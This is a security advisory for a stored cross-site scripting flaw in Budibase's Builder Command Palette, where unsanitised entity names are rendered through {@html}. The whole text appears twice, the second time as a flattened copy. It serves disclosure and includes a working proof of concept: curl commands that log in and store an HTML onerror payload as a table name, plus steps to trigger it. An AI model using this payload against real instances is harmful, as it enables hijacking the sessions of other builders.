Summary
Budibase's Builder Command Palette renders entity names (tables, views, queries, automations)
using Svelte's {@html} directive without any sanitization. An authenticated user with
Builder access can create a table, automation, view, or query whose name contains an HTML
payload (e.g. <img src=x onerror=alert(document.domain)>). When any Builder-role user
in the same workspace opens the Command Palette (Ctrl+K), the payload executes in their
browser, stealing their session cookie and enabling full account takeover.
The v3.31.0 release introduced a name validation fix for app names only
(POST /api/applications), leaving tables, views, queries, and automations fully exploitable.
Details
Vulnerable sink — {@html} with no sanitization:
File: packages/builder/src/components/commandPalette/CommandPalette.svelte, line 405
<!--eslint-disable-next-line svelte/no-at-html-tags-->
{@html command.name}
The command.name field is populated directly from database entity names with zero
sanitization:
| Command builder function |
Line |
Source field |
tableCommands() |
170 |
table.name |
viewCommands() |
184 |
view.name |
viewV2Commands() |
199 |
view.name |
queryCommands() |
221 |
query.name |
automationCommands() |
256 |
automation.name |
None of these fields have server-side validation against HTML or script content. The API
endpoints accept arbitrary strings without restriction:
POST /api/tables — no name validation
POST /api/automations — no name validation
POST /api/datasources + POST /api/queries — no name validation
v3.31.0 incomplete fix: App names (POST /api/applications) were restricted to
/^[a-zA-Z0-9 ]+$/ in v3.31.0, but this fix was not applied to any other entity type,
leaving the primary attack vector fully open.
PoC
Requirements: Builder-level account on a self-hosted Budibase instance.
Step 1 — Authenticate and obtain session cookie
curl -c /tmp/bb_cookies.txt -X POST http://TARGET:10000/api/global/auth/default/login \
-H "Content-Type: application/json" \
-d '{"username":"builder@example.com","password":"Password123"}'
Response:
HTTP 200
Set-Cookie: budibase:auth=<jwt>; path=/
x-budibase-token: <jwt>
Step 2 — Store XSS payload as a table name
curl -b /tmp/bb_cookies.txt -X POST http://TARGET:10000/api/tables \
-H "Content-Type: application/json" \
-H "x-budibase-app-id: <DEV_APP_ID>" \
-d '{
"name": "<img src=x onerror=alert(document.domain)>",
"type": "table",
"schema": {}
}'
Expected response — payload stored verbatim:
HTTP 200
{
"_id": "ta_fa5262be2e254abb9faba92100c6eb58",
"name": "<img src=x onerror=alert(document.domain)>",
"type": "table",
"schema": {}
}
Step 3 — Trigger execution via Command Palette
- Open
http://TARGET:10000 in any browser and log in as any Builder or Admin user
- Navigate into the app in the builder (Design / Data / Automate tabs visible)
- Press
Ctrl+K (Windows/Linux) or Cmd+K (macOS) to open the Command Palette
- The palette renders the table list via
{@html command.name}
- The
<img> tag's onerror handler fires immediately (because src=x cannot load)
Result: Alert box showing TARGET:10000 confirms JavaScript execution in the victim's browser.
Confirmed affected entity types
All of the following trigger the XSS when the Command Palette is opened:
| Entity |
API Endpoint |
Trigger |
| Table |
POST /api/tables |
✅ Confirmed live |
| View |
POST /api/views |
✅ Vulnerable (same sink) |
| Query |
POST /api/queries |
✅ Vulnerable (same sink) |
| Automation |
POST /api/automations |
✅ Vulnerable (same sink) |
Note: App names were patched in v3.31.0 (POST /api/applications now rejects HTML).
All other entity types remain unpatched.
Impact
Type: Stored Cross-Site Scripting (XSS)
Who is impacted:
Any Builder or Admin user who opens the Command Palette (Ctrl+K) in the Budibase app
builder while a malicious entity exists in the workspace. Because the Command Palette is a
global UI element that renders all entities across the entire app, every Builder in the
workspace is a victim — including users who never directly interact with the malicious entity.
Discovered By:
Abdulrahman Albatel
Abdullah Alrasheed
Summary
Budibase's Builder Command Palette renders entity names (tables, views, queries, automations)
using Svelte's
{@html}directive without any sanitization. An authenticated user withBuilder access can create a table, automation, view, or query whose name contains an HTML
payload (e.g.
<img src=x onerror=alert(document.domain)>). When any Builder-role userin the same workspace opens the Command Palette (Ctrl+K), the payload executes in their
browser, stealing their session cookie and enabling full account takeover.
The v3.31.0 release introduced a name validation fix for app names only
(
POST /api/applications), leaving tables, views, queries, and automations fully exploitable.Details
Vulnerable sink —
{@html}with no sanitization:File:
packages/builder/src/components/commandPalette/CommandPalette.svelte, line 405The
command.namefield is populated directly from database entity names with zerosanitization:
tableCommands()table.nameviewCommands()view.nameviewV2Commands()view.namequeryCommands()query.nameautomationCommands()automation.nameNone of these fields have server-side validation against HTML or script content. The API
endpoints accept arbitrary strings without restriction:
POST /api/tables— no name validationPOST /api/automations— no name validationPOST /api/datasources+POST /api/queries— no name validationv3.31.0 incomplete fix: App names (
POST /api/applications) were restricted to/^[a-zA-Z0-9 ]+$/in v3.31.0, but this fix was not applied to any other entity type,leaving the primary attack vector fully open.
PoC
Requirements: Builder-level account on a self-hosted Budibase instance.
Step 1 — Authenticate and obtain session cookie
Response:
Step 2 — Store XSS payload as a table name
Expected response — payload stored verbatim:
Step 3 — Trigger execution via Command Palette
http://TARGET:10000in any browser and log in as any Builder or Admin userCtrl+K(Windows/Linux) orCmd+K(macOS) to open the Command Palette{@html command.name}<img>tag'sonerrorhandler fires immediately (becausesrc=xcannot load)Result: Alert box showing
TARGET:10000confirms JavaScript execution in the victim's browser.Confirmed affected entity types
All of the following trigger the XSS when the Command Palette is opened:
POST /api/tablesPOST /api/viewsPOST /api/queriesPOST /api/automationsImpact
Type: Stored Cross-Site Scripting (XSS)
Who is impacted:
Any Builder or Admin user who opens the Command Palette (
Ctrl+K) in the Budibase appbuilder while a malicious entity exists in the workspace. Because the Command Palette is a
global UI element that renders all entities across the entire app, every Builder in the
workspace is a victim — including users who never directly interact with the malicious entity.
Discovered By:
Abdulrahman Albatel
Abdullah Alrasheed